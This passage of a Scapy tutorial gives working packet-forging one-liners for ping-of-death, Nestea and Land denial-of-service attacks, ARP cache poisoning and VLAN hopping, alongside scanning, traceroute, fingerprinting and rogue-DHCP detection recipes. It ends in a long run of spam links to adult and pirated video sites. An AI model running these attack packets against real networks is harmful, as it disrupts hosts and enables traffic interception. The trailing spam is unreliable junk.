>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )

Classical attacks

Malformed packets:

>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())

Ping of death (Muuahahah):

>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )

Nestea attack:

>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))

Land attack (designed for Microsoft Windows):

>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

ARP cache poisoning

This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack.

Classic ARP cache poisoning:

>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
????? inter=RandNum(10,40), loop=1 )

ARP cache poisoning with double 802.1q encapsulation:

>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
????? /ARP(op="who-has", psrc=gateway, pdst=client),
????? inter=RandNum(10,40), loop=1 )

TCP Port Scanning

Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:

>>> res,unans = sr( IP(dst="target")
??????????????? /TCP(flags="S", dport=(1,1024)) )

Possible result visualization: open ports

>>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )

IKE Scanning

We try to identify VPN concentrators by sending ISAKMP Security Association proposals and receiving the answers:

>>> res,unans = sr( IP(dst="192.168.1.*")/UDP()
??????????????? /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
??????????????? /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
????????????? )

Visualizing the results in a list:

>>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )

Advanced traceroute

TCP SYN traceroute

>>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))

Results would be:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1???? time-exceeded
68.86.90.162??? time-exceeded
4.79.43.134???? time-exceeded
4.79.43.133???? time-exceeded
4.68.18.126???? time-exceeded
4.68.123.38???? time-exceeded
4.2.2.1???????? SA

UDP traceroute

Tracerouting an UDP application like we do with TCP is not reliable, because there’s no handshake. We need to give an applicative payload (DNS, ISAKMP, NTP, etc.) to deserve an answer:

>>> res,unans = sr(IP(dst="target", ttl=(1,20))
????????????? /UDP()/DNS(qd=DNSQR(qname="test.com"))

We can visualize the results as a list of routers:

>>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))

DNS traceroute

We can perform a DNS traceroute by specifying a complete packet in?l4?parameter of?traceroute()?function:

>>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
?? 4.2.2.1:udp53
1? 192.168.1.1???? 11
4? 68.86.90.162??? 11
5? 4.79.43.134???? 11
6? 4.79.43.133???? 11
7? 4.68.18.62????? 11
8? 4.68.123.6????? 11
9? 4.2.2.1
...

Etherleaking

>>> sr1(IP(dst="172.16.1.232")/ICMP())
<IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]|
<Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>

ICMP leaking

This was a Linux 2.0 bug:

>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
<IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] |
<IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] |
<ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |
<Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>

VLAN hopping

In very specific conditions, a double 802.1q encapsulation will make a packet jump to another VLAN:

>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())

Wireless sniffing

The following command will display information similar to most wireless sniffers:

>>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}"))

The above command will produce output similar to the one below:

00:00:00:01:02:03 netgear????? 6L?? ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L?? short-slot+ESS+privacy
44:55:66:00:11:22 linksys????? 6L?? short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR????? 6L?? short-slot+ESS+privacy+short-preamble

Recipes

Simplistic ARP Monitor

This program uses the?sniff()?callback (paramter prn). The store parameter is set to 0 so that the?sniff()?function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic.

#! /usr/bin/env python
from scapy.all import *

def?arp_monitor_callback(pkt):
????if?ARP?in?pkt?and?pkt[ARP].op?in?(1,2):?#who-has or is-at
????????return?pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")

sniff(prn=arp_monitor_callback,?filter="arp", store=0)

Identifying rogue DHCP servers on your LAN

Problem

You suspect that someone has installed an additional, unauthorized DHCP server on your LAN – either unintentiously or maliciously. Thus you want to check for any active DHCP servers and identify their IP and MAC addresses.

Solution

Use Scapy to send a DHCP discover request and analyze the replies:

>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True)????? # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
.*...*..
Received 8 packets, got 2 answers, remaining 0 packets

In this case we got 2 replies, so there were two active DHCP servers on the test network:

>>> ans.summarize()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
}}}
We are only interested in the MAC and IP addresses of the replies:
{{{
>>> for p in ans: print p[1][Ether].src, p[1][IP].src
...
00:de:ad:be:ef:00 192.168.1.1
00:11:11:22:22:33 192.168.1.11

Discussion

We specify?multi=True?to make Scapy wait for more answer packets after the first response is received. This is also the reason why we can’t use the more convenient?dhcp_request()?function and have to construct the DCHP packet manually:?dhcp_request()?uses?srp1()?for sending and receiving and thus would immediately return after the first answer packet.

Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don’t match, we have to disable Scapy’s check with?conf.checkIPaddr?=?False?before sending the stimulus.

See also

http://en.wikipedia.org/wiki/Rogue_DHCP

Firewalking

TTL decrementation after a filtering operation only not filtered packets generate an ICMP TTL exceeded

>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
??????? if r.haslayer(ICMP) and r.payload.type == 11:
??????????? print s.dport

Find subnets on a multi-NIC firewall only his own NIC’s IP are reachable with this TTL:

>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
>>> for i in unans: print i.dst

TCP Timestamp Filtering

Problem

Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners.

Solution

To allow Scapy to reach target destination additional options must be used:

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))

Viewing packets with Wireshark

Problem

You have generated or sniffed some packets with Scapy and want to view them with?Wireshark, because of its advanced packet dissection abilities.

Solution

That’s what the?wireshark()?function is for:

>>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP()???? # first generate some packets
>>> wireshark(packets)??????????????????????????????????????? # show them with Wireshark

Wireshark will start in the background and show your packets.

Discussion

The?wireshark()?function generates a temporary pcap-file containing your packets, starts Wireshark in the background and makes it read the file on startup.

Please remember that Wireshark works with Layer 2 packets (usually called “frames”). So we had to add an?Ether()?header to our ICMP packets. Passing just IP packets (layer 3) to Wireshark will give strange results.

You can tell Scapy where to find the Wireshark executable by changing the?conf.prog.wireshark?configuration setting.

OS Fingerprinting

ISN

Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop:

>>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))

Once we obtain a reasonable number of responses we can start analyzing collected data with something like this:

>>> temp = 0
>>> for s,r in ans:
... ???temp = r[TCP].seq - temp
... ???print str(r[TCP].seq) + "\t+" + str(temp)
...
4278709328????? +4275758673
4279655607????? +3896934
4280642461????? +4276745527
4281648240????? +4902713
4282645099????? +4277742386
4283643696????? +5901310

nmap_fp

Nmap fingerprinting (the old “1st generation” one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first:

>>> load_module("nmap")

If you have Nmap installed you can use it’s active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by:

>>> conf.nmap_base

Then you can use the?nmap_fp()?function which implements same probes as in Nmap’s OS Detection engine:

>>> nmap_fp("192.168.1.1",oport=443,cport=1)
Begin emission:
.****..**Finished to send 8 packets.
*................................................
Received 58 packets, got 7 answers, remaining 1 packets
(1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])

p0f

If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by:

>>> conf.p0f_base

For example to guess OS from a single captured packet:

>>> sniff(prn=prnp0f)
192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
? -> 74.125.19.104:www (distance 0)
<Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>




總結(jié)

以上是生活随笔為你收集整理的交互式数据包处理程序 Scapy 用法的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

午夜999 | 久久99亚洲精品久久 | 国产精品永久免费在线 | 日韩精品一区二区在线视频 | 狠狠狠狠狠狠干 | 999精品在线| 日日日操| 日韩欧美综合视频 | 伊人资源站 | 亚洲 综合 激情 | 日本三级人妇 | 一区二区三区 亚洲 | 狠狠的日日 | 欧美在线视频日韩 | 婷婷婷国产在线视频 | 美女久久久久久 | 伊人天天综合 | 亚洲综合在线播放 | 久久久久久久久久久久亚洲 | 久久免费在线视频 | 91精选| 美女视频免费精品 | 成人影片在线免费观看 | av一区二区三区在线播放 | 婷婷综合在线 | 日本资源中文字幕在线 | 精品亚洲欧美一区 | 亚洲干视频在线观看 | 狠狠色丁香久久婷婷综 | 国产午夜精品av一区二区 | 久久精品99国产国产 | 日韩网站在线 | 88av色| 欧美一区二区三区特黄 | 日韩av手机在线看 | 97超碰在线免费观看 | 国产录像在线观看 | 欧美动漫一区二区三区 | 在线观看视频精品 | 中文在线免费一区三区 | 国产精品一区二区av影院萌芽 | 夜夜操狠狠干 | 视频三区| 色资源网在线观看 | 国产麻豆成人传媒免费观看 | 夜夜骑日日操 | 国产精品一区欧美 | 日本精品视频在线播放 | 99热亚洲精品 | 欧美精品亚洲二区 | 日韩精品视频网站 | 亚洲精品福利在线 | 色在线网 | 久久久久久久久黄色 | 国产精品观看视频 | 国产成人91 | 91免费的视频在线播放 | 精品在线观| 国产一级免费av | 国产高清视频免费观看 | 精品久久久久久久久久久久久 | av免费在线观看网站 | 国产精品 日本 | 天天曰天天爽 | 亚洲国产精品成人av | bayu135国产精品视频 | 亚洲在线成人精品 | 91大神dom调教在线观看 | 免费看污在线观看 | 欧美日韩精品国产 | 草久久久久 | 日韩精品久久久 | 99视频免费| 日韩在线观看高清 | 九九精品毛片 | av电影中文字幕在线观看 | 日韩视频免费观看高清 | 少妇高潮冒白浆 | 国产69精品久久久久9999apgf | 麻豆 videos| 99精品免费在线 | www日韩精品 | 国产精品网站一区二区三区 | 国产精品九色 | 在线导航福利 | 91在线资源 | 久久久精品在线观看 | 国产精品女同一区二区三区久久夜 | 日日夜夜噜 | 国产精品免费不卡 | 天天操天天操天天操天天操天天操 | 夜夜操天天 | 天天天操天天天干 | 久草干 | 免费亚洲精品视频 | 一本之道乱码区 | 欧美日韩精品久久久 | av片免费播放 | 欧美日韩高清在线 | 一区二区影视 | 欧美极品在线播放 | 99亚洲精品在线 | 97人人精品 | 九九久久电影 | av在线之家电影网站 | 久久久久久不卡 | 中文字幕一区二 | avove黑丝| 国产精品久久久久久久久久久久午夜 | 久久无码精品一区二区三区 | 91麻豆产精品久久久久久 | 欧美另类sm图片 | 天天爱天天舔 | 91精品久久久久久综合乱菊 | 久久tv| 九九视频免费 | 黄色资源网站 | 色婷婷狠狠18 | 欧美日韩国产网站 | 日本大尺码专区mv | 最新日韩在线 | 欧美精品在线免费 | 五月综合网 | 97国产精品亚洲精品 | 91av视频网| 综合亚洲视频 | 久久国产热 | 亚洲天天看 | 97在线精品视频 | 久久久一本精品99久久精品 | a视频免费在线观看 | 亚洲丝袜中文 | 精品视频久久久久久 | 欧美精品做受xxx性少妇 | 在线日本v二区不卡 | 久久久私人影院 | 久久综合狠狠综合久久综合88 | 国产特黄色片 | 奇米网777 | 国产美女视频黄a视频免费 久久综合九色欧美综合狠狠 | 国产日产av| 在线影院 国内精品 | 成人黄大片视频在线观看 | 午夜av一区二区三区 | a电影在线观看 | 天躁狠狠躁 | 中文字幕av免费观看 | 91精选在线观看 | 五月天综合色 | 成人久久毛片 | 色婷婷色 | 久久电影中文字幕视频 | 麻豆久久久久 | 性色av一区二区三区在线观看 | 九九免费在线视频 | 欧美亚洲免费在线一区 | 中文高清av| 玖玖在线视频观看 | 五月激情综合婷婷 | 日韩另类在线 | 欧美日韩国产精品一区二区三区 | 国产成人精品电影久久久 | 综合激情婷婷 | 91一区啪爱嗯打偷拍欧美 | 亚洲h视频在线 | 日韩视频一区二区 | 精品一二三四五区 | 久久久精品福利视频 | 久久久国产精品成人免费 | 亚州国产视频 | 在线精品视频免费观看 | 成人免费视频观看 | 爱干视频| 日韩欧美高清免费 | 精品美女久久久久久免费 | 日韩欧美综合视频 | 日韩3区 | 麻豆视频免费版 | 中文字幕av网站 | 国产精品一区二区三区在线免费观看 | 国内精品久久久久影院日本资源 | 久久久免费精品国产一区二区 | 久草视频免费 | 波多野结衣动态图 | 日韩视频精品在线 | 亚洲国产日韩精品 | 亚洲精品视频第一页 | 国产第页| 九草在线视频 | 精品xxx | 国产精品9999久久久久仙踪林 | 黄色三级免费看 | 国产高清久久 | 91大神免费视频 | 日黄网站 | 久久精品亚洲一区二区三区观看模式 | 色综合天 | 在线观看国产v片 | 国产精品美女久久 | 91在线麻豆 | 视频国产| 国产很黄很色的视频 | www黄| 狠狠狠狠狠狠天天爱 | 亚洲精品在线观看不卡 | 欧美性生活一级片 | 亚洲女裸体 | 日本论理电影 | 狠狠狠色丁香综合久久天下网 | 中文字幕在线播放一区二区 | 天天操夜夜叫 | 色鬼综合网 | 国产精品久久久久久久久久尿 | 在线va视频 | 中文字幕不卡在线88 | 99色在线观看 | 亚洲精品字幕在线 | 色婷婷婷 | 91传媒在线看 | 亚洲精品免费观看视频 | 国产精品毛片网 | 中文字幕日韩有码 | 黄色天堂在线观看 | www.99av| 麻豆久久 | 99久久99久久精品国产片果冰 | 麻豆av一区二区三区在线观看 | www.五月婷婷 | 欧美在线资源 | 久久久久一区二区三区四区 | 精品久久1 | 日本黄色免费播放 | www.天天干| 天天操夜夜拍 | 国产一区二区三区免费观看视频 | 夜夜躁日日躁狠狠躁 | 激情综合网五月激情 | 亚洲精品国产精品国自产观看 | av不卡免费在线观看 | 正在播放国产一区二区 | 国产精品九九九 | 欧美精品中文字幕亚洲专区 | 国产91亚洲| a精品视频 | 人人网人人爽 | 国产精品久久久区三区天天噜 | 九九免费精品视频在线观看 | 欧美一级片免费在线观看 | 国产xx在线 | 人人玩人人弄 | 久久久午夜剧场 | 精品久久毛片 | 99精品偷拍视频一区二区三区 | 国内精品久久久久国产 | 久久久精品国产免费观看一区二区 | 国产99免费视频 | 二区精品视频 | 久久综合久久综合这里只有精品 | 日韩视频免费 | 欧美日韩成人 | 国产原创av片 | 亚洲精品视频在线观看免费视频 | 99久久婷婷国产综合精品 | 中文字幕在线字幕中文 | 国产精品第一页在线观看 | 亚洲国产精品va在线看黑人动漫 | 午夜av在线免费 | 国产视频丨精品|在线观看 国产精品久久久久久久久久久久午夜 | 中文资源在线播放 | 午夜在线资源 | 天天综合五月天 | 亚洲国产99 | 亚洲成人资源在线观看 | 日韩久久影院 | 国产成人免费观看久久久 | 91成人蝌蚪 | 国产xxxx | 成人a视频在线观看 | 国内99视频| 亚洲最大av网站 | 五月婷婷激情五月 | 天天干天天摸 | 97精品国产一二三产区 | 久久福利影视 | 精品主播网红福利资源观看 | 四虎在线视频 | 在线看国产视频 | 久草在线视频网 | 天天干夜夜擦 | 国产黄色网 | 成人资源在线播放 | 亚洲成av人片在线观看 | 国产精品久久电影网 | 欧美日韩免费在线视频 | 日本女人逼 | 日韩高清免费电影 | 国产va精品免费观看 | 久久久精品99 | 国色综合 | 波多野结衣电影一区二区 | 亚洲激情网站免费观看 | 久久国产精品免费视频 | 国产一区二区免费 | 国产精品嫩草影院99网站 | 亚洲香蕉视频 | 国产手机免费视频 | 国产剧情一区二区 | 中文在线8新资源库 | av在线影片 | 婷婷射五月 | 天天精品视频 | 精品国产乱码久久久久 | 欧美日韩国产精品一区二区亚洲 | 亚洲成人av片在线观看 | 91av电影在线观看 | 91社区国产高清 | 成人一区二区三区在线观看 | 日韩视频免费观看高清 | 日韩 精品 一区 国产 麻豆 | 激情综合色综合久久综合 | 在线91色| 91亚洲永久精品 | 欧洲激情在线 | 久久视频二区 | 亚洲乱码精品久久久久 | 国产伦精品一区二区三区无广告 | 97韩国电影 | 久久99热精品这里久久精品 | 二区三区中文字幕 | 91人人爽久久涩噜噜噜 | 国产精品99视频 | 精品久久久久久亚洲综合网站 | 天堂久色| 日韩在线视频免费播放 | 丁香久久激情 | 久久99国产精品自在自在app | 97成人在线 | 高清av在线免费观看 | 免费亚洲婷婷 | 免费视频国产 | 91大神精品视频在线观看 | 日日夜夜91 | 欧美性猛片 | 最新日韩中文字幕 | 亚洲久草网 | 国产91精品一区二区绿帽 | 成人久久国产 | av+在线播放在线播放 | 在线激情小视频 | 日本中文字幕在线观看 | 91精品视频免费在线观看 | 婷婷国产视频 | 黄色www免费 | 国产正在播放 | 国产黄色成人av | 九九免费精品视频在线观看 | 日韩区欠美精品av视频 | 色婷婷电影网 | 亚洲四虎在线 | 欧美日韩免费一区 | 国产91精品一区二区麻豆亚洲 | 亚洲精品视频网站在线观看 | 在线视频a| 在线电影a | 天天综合区 | 日日草视频 | 日韩在线国产精品 | 成人黄色中文字幕 | 日韩在线免费电影 | 精品国内自产拍在线观看视频 | 五月开心婷婷 | 色吊丝在线永久观看最新版本 | 色99久久| 久久精品视频在线免费观看 | 国产免费亚洲 | 久久免费视频8 | 韩国在线一区二区 | 九九热免费在线观看 | 五月天网页 | 人人揉人人揉人人揉人人揉97 | 97国产超碰在线 | 欧美精品在线免费 | 国内精品国产三级国产aⅴ久 | 中文字幕精品久久 | 一区二区三区在线免费播放 | a视频在线观看免费 | 中文字幕人成乱码在线观看 | 国产精品 日韩 | 天天操福利视频 | 最近中文字幕在线中文高清版 | 成人永久免费 | 免费三级网 | 在线韩国电影免费观影完整版 | 日韩免费播放 | 亚洲精品乱码久久久一二三 | 久久亚洲影院 | www.com久久久| 亚洲日本va在线观看 | 色香蕉网| 久久a v电影 | 91亚洲夫妻 | 天天射天天射天天射 | 日本中文字幕一二区观 | 91精品国产网站 | 黄色网址中文字幕 | 国产精品美女久久久网av | 手机看片99| 久99久中文字幕在线 | 日韩欧美一区二区在线观看 | 丁香婷婷色综合亚洲电影 | 亚洲精品视频在线看 | 一区二区欧美激情 | 黄在线免费看 | 97电影院网| 在线观看亚洲电影 | 91入口在线观看 | 国产一级免费观看 | 97超级碰碰 | a视频免费 | www婷婷| 97超碰人人爱 | 久久精品国产亚洲 | 国产在线高清视频 | 久久乐九色婷婷综合色狠狠182 | 91大神一区二区三区 | 中文字幕在线观看一区 | 久久久国产高清 | 亚洲精品国产精品国自产在线 | 一本色道久久综合亚洲二区三区 | 91在线视频在线 | 久久99热这里只有精品国产 | 97av视频 | .国产精品成人自产拍在线观看6 | 亚洲成av人片在线观看无 | av中文字幕网址 | 美女视频黄免费的 | 国产成人精品一区二区三区免费 | 国产亚洲综合在线 | 不卡av在线 | 久久久久高清毛片一级 | 午夜精品麻豆 | 国产精品99精品久久免费 | 超碰av免费| 黄色录像av| 久久永久免费视频 | 欧美激情va永久在线播放 | 欧美激情一区不卡 | 四虎免费在线观看视频 | 国产精品福利午夜在线观看 | 国产亚洲精品久久久久久电影 | 免费看成人片 | 中文字幕 影院 | 久草99| 国产日产高清dvd碟片 | 亚洲成a人片77777潘金莲 | 欧美午夜精品久久久久久孕妇 | 日韩欧美中文 | 在线免费91 | 99热最新在线 | 欧美性生活久久 | 美女av在线免费 | 国产日韩在线看 | 国产成人99av超碰超爽 | 麻豆免费视频网站 | 国产午夜精品久久久久久久久久 | 亚洲视频99 | 国产在线2020| 亚洲国产精品视频 | 中文字幕在线观看视频一区 | 人人爽人人澡 | 免费污片 | 外国av网 | 在线亚洲激情 | 99久久婷婷国产一区二区三区 | 午夜美女网站 | 麻豆一区在线观看 | 成片视频免费观看 | 国产精品一区在线观看 | 久一网站| 精品主播网红福利资源观看 | 97超碰在线资源 | 99热精品久久 | 国产免费大片 | 色偷偷av男人天堂 | av线上看| 日本三级香港三级人妇99 | 国产精品福利在线播放 | 国产精品久久毛片 | 99久久www免费 | 亚洲欧洲成人精品av97 | 婷婷六月丁 | 国产欧美最新羞羞视频在线观看 | 国产福利免费看 | 午夜天天操 | 日韩精品91偷拍在线观看 | 亚洲国产日韩精品 | 一区二区精品在线 | 最新国产精品久久精品 | 在线播放视频一区 | 99精品视频在线播放观看 | 婷婷在线免费视频 | 黄色av电影一级片 | 久久久精品国产一区二区三区 | 成人午夜在线观看 | 日韩理论电影在线 | 亚洲精品视频www | 日韩电影久久 | 国产精品99久久免费黑人 | 欧美一级电影在线观看 | 日本精品一二区 | 五月天天在线 | 日韩字幕| 91精品国产福利在线观看 | 婷婷丁香激情五月 | 色吊丝在线永久观看最新版本 | 免费人成网ww44kk44 | 免费人做人爱www的视 | 四虎伊人 | 国产精品久久 | 国产亚洲人成网站在线观看 | 欧洲一区精品 | 欧美a级成人淫片免费看 | 女女av在线 | 国产精品成人国产乱一区 | 久久久精品国产免费观看同学 | 在线观看岛国片 | 九九精品视频在线观看 | 黄色av网站在线观看免费 | 日本韩国精品在线 | 日韩精品久久中文字幕 | 亚洲欧美日韩精品久久久 | 成人sm另类专区 | 国产99久久久精品视频 | 国产综合久久 | 91片黄在线观看动漫 | 美女网站色在线观看 | 在线不卡的av | 国产看片 色 | 久久天堂亚洲 | 黄色片免费在线 | 98精品国产自产在线观看 | 国产精品自产拍 | 在线a亚洲视频播放在线观看 | 日韩黄色av网站 | 天天天干天天射天天天操 | 精品国产免费人成在线观看 | 不卡av在线 | а天堂中文最新一区二区三区 | 日韩精品影视 | 国产老太婆免费交性大片 | 日本中文字幕影院 | 99视频精品免费观看, | 欧洲视频一区 | 欧美成人播放 | 美女精品在线观看 | 涩涩在线| 日韩在线免费视频观看 | 精品91在线 | 亚洲精区二区三区四区麻豆 | 一区二区三区电影大全 | 超碰人人国产 | 亚洲国产精品999 | 久久国产精品久久精品 | 国产99在线播放 | 欧美永久视频 | 五月婷婷影院 | 99综合视频 | 97超碰色| 狠狠干成人综合网 | 亚洲精品久久在线 | 国产一级片一区二区三区 | 欧美日韩一区二区三区免费视频 | 欧美一区免费在线观看 | 久久在线免费观看 | 亚洲不卡av一区二区三区 | 欧美久久久久久久久久久久久 | 亚洲1区在线 | 国内综合精品午夜久久资源 | 欧美午夜久久久 | 午夜成人免费电影 | 婷婷精品视频 | 久久国产美女视频 | 国产成人久久精品一区二区三区 | 2019中文 | 成人a免费视频 | www.888av| 激情网第四色 | 久久久久久久久亚洲精品 | 国内精品久久久久影院男同志 | 日本精品视频一区 | 国产字幕在线看 | 国产专区一 | 欧美另类网站 | 久久久久久久亚洲精品 | www.福利| 国产九色视频在线观看 | 久久亚洲精品电影 | 日韩 精品 一区 国产 麻豆 | 999久久a精品合区久久久 | 成人av电影免费在线观看 | 三级黄色欧美 | a色视频| 嫩草伊人久久精品少妇av | 最新国产中文字幕 | 久久综合九色九九 | 精品国自产在线观看 | 亚洲男男gaygay无套 | 1000部国产精品成人观看 | 国产中文在线观看 | 91视频-88av| 91精品久久久久久久99蜜桃 | 久久99精品国产一区二区三区 | www日 | 日韩免费观看视频 | 日本在线视频网址 | 中国黄色一级大片 | 五月天最新网址 | 在线看片一区 | 国产高清视频免费在线观看 | 国产丝袜美腿在线 | 日本中文字幕系列 | 日韩精品91偷拍在线观看 | 91漂亮少妇露脸在线播放 | 欧美成人在线免费 | 99av国产精品欲麻豆 | 91.麻豆视频| 国产日韩精品视频 | 国产欧美三级 | 婷婷综合五月天 | 久久久久久黄 | 亚洲视频在线观看 | 国产视频精品网 | 免费在线观看a v | 国产美女网站视频 | 99精品视频在线观看 | 男女激情网址 | 国产成人一区三区 | 精品国产伦一区二区三区观看体验 | 青草视频网 | 成人av网页 | 免费视频久久久 | 亚洲激精日韩激精欧美精品 | 亚洲视屏 | 日韩中文在线观看 | 国产很黄很色的视频 | 九九热国产视频 | 天天射射天天 | 黄色一级免费电影 | 国产精品久久久久久模特 | 91福利视频一区 | 日韩一区在线免费观看 | 国产日产在线观看 | 国产精品福利午夜在线观看 | 免费美女久久99 | 精品久久久久久亚洲综合网 | 天天爱天天射天天干天天 | 国产精品一区二区三区在线看 | 久草在线资源网 | 国产裸体视频bbbbb | 免费激情网 | 黄在线免费看 | 午夜精品剧场 | 久久精品香蕉 | 国产一区二区久久精品 | 97色在线观看免费视频 | 麻花豆传媒mv在线观看 | 日韩av线观看 | 香蕉视频在线观看免费 | 国产手机精品视频 | 在线免费黄色片 | 精品福利片 | 日韩精品一区二区三区第95 | 欧美一级日韩免费不卡 | 国产乱对白刺激视频在线观看女王 | 91av播放 | 亚洲黄色影院 | 欧美一区在线观看视频 | 欧美日韩国产在线一区 | 国产又粗又硬又长又爽的视频 | 亚洲人成人在线 | 福利一区在线 | 成人av影视 | 欧美日韩国产一二三区 | 亚洲黄色免费 | 玖玖999| 国产麻豆视频网站 | 久久久久久久久黄色 | 伊人久久影视 | 欧美天堂视频在线 | 麻豆免费观看视频 | 久久伊人色综合 | 久久丁香网 | 91午夜精品 | 成人免费毛片aaaaaa片 | 久久精品视频在线 | 97在线观看免费高清 | 国产精品久久久久免费 | 人人插人人搞 | 国产在线观看91 | 久久精品一区二区三区中文字幕 | 久久精品亚洲 | 久久久国际精品 | 免费在线观看av不卡 | 亚洲精品中文字幕视频 | 日韩黄在线观看 | 色网站在线免费观看 | 欧美日韩久久久 | 国产免费久久精品 | 日本三级中文字幕在线观看 | 国产小视频在线看 | 日日夜夜狠狠干 | 成人av影院在线观看 | 97视频免费看 | 91精彩视频 | 99精品免费久久久久久久久日本 | 色a在线观看 | 超碰在线免费福利 | 国产视频观看 | 午夜精品中文字幕 | 免费的黄色的网站 | 久久精品3 | 97精品国产手机 | 97色资源 | 国产精品久久久久久婷婷天堂 | 欧美男同视频网站 | 欧美性生活小视频 | 91成熟丰满女人少妇 | 亚洲影音先锋 | 中文字幕免费在线看 | 国产又粗又长又硬免费视频 | 久久伊人精品一区二区三区 | 日日碰狠狠躁久久躁综合网 | 亚洲精品色婷婷 | 久久久精品日本 | 国产精品久久久电影 | 国产一区二区在线播放视频 | 在线观看成年人 | 丁香婷婷色综合亚洲电影 | 精品国产乱码久久久久久1区2匹 | 丁香激情网| 久久尤物电影视频在线观看 | 久久综合九色综合久久久精品综合 | 韩日av一区二区 | av电影免费看 | 国产大片黄色 | 777奇米四色| 久久超级碰视频 | 在线视频一区观看 | 精品一区二区免费视频 | 精品国产乱码久久久久久浪潮 | 国产免费亚洲高清 | 天天人人综合 | 久久极品 | 婷婷久久一区二区三区 | 久久精品亚洲精品国产欧美 | 日韩羞羞 | 视频在线99re | 99热这里只有精品1 av中文字幕日韩 | 久精品视频在线 | 日本特黄特色aaa大片免费 | 久久观看最新视频 | 色先锋资源网 | 天天草综合| 久久99久久99精品中文字幕 | 精品久久一区二区 | 久久伊人国产精品 | 日韩毛片在线免费观看 | 香蕉精品视频在线观看 | 韩日精品在线 | 在线观看日本韩国电影 | 久久久久国产成人精品亚洲午夜 | 国产日韩欧美自拍 | av大全在线免费观看 | 91九色蝌蚪国产 | 日韩av电影中文字幕在线观看 | 亚洲波多野结衣 | 国产在线理论片 | 国产精品亚洲片夜色在线 | 中国精品一区二区 | 三级黄色a | 激情久久网 | 